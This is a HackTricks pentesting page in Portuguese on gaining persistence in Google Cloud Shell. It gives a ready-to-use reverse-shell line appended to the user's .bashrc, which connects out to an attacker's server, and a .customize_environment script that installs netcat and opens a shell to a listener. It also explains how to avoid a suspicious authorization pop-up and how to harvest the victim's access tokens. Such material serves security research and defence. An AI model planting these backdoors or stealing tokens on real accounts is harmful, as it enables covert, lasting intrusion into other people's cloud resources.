GCP - Cloud Shell Persistence

Suporte ao HackTricks

Cloud Shell

Para mais informações, confira:

Backdoor Persistente

Google Cloud Shell fornece acesso à linha de comando aos seus recursos de nuvem diretamente do seu navegador sem nenhum custo associado.

Você pode acessar o Cloud Shell do Google pela console web ou executando gcloud cloud-shell ssh.

Esta console tem algumas capacidades interessantes para atacantes:

  1. Qualquer usuário do Google com acesso ao Google Cloud tem acesso a uma instância do Cloud Shell totalmente autenticada (Contas de Serviço podem, mesmo sendo Proprietários da organização).

  2. Dita instância manterá seu diretório home por pelo menos 120 dias se nenhuma atividade ocorrer.

  3. Não há capacidades para uma organização monitorar a atividade dessa instância.

Isso basicamente significa que um atacante pode colocar uma backdoor no diretório home do usuário e, desde que o usuário se conecte ao GC Shell a cada 120 dias pelo menos, a backdoor sobreviverá e o atacante obterá um shell toda vez que for executado apenas fazendo:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

Há outro arquivo na pasta inicial chamado .customize_environment que, se existir, será executado toda vez que o usuário acessar o cloud shell (como na técnica anterior). Basta inserir o backdoor anterior ou um como o seguinte para manter a persistência enquanto o usuário usar "frequentemente" o cloud shell:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

É importante notar que a primeira vez que uma ação que requer autenticação é realizada, uma janela de autorização pop-up aparece no navegador do usuário. Esta janela deve ser aceita antes que o comando possa ser executado. Se um pop-up inesperado aparecer, isso pode levantar suspeitas e potencialmente comprometer o método de persistência sendo utilizado.

Esta é a janela pop-up da execução de gcloud projects list a partir do cloud shell (como atacante) vista na sessão do usuário do navegador:

No entanto, se o usuário tiver usado ativamente o cloudshell, o pop-up não aparecerá e você pode coletar tokens do usuário com:

gcloud auth print-access-token
gcloud auth application-default print-access-token

Como a conexão SSH é estabelecida

Basicamente, essas 3 chamadas de API são usadas:

Mas você pode encontrar mais informações em https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Referências

Support HackTricks

Last updated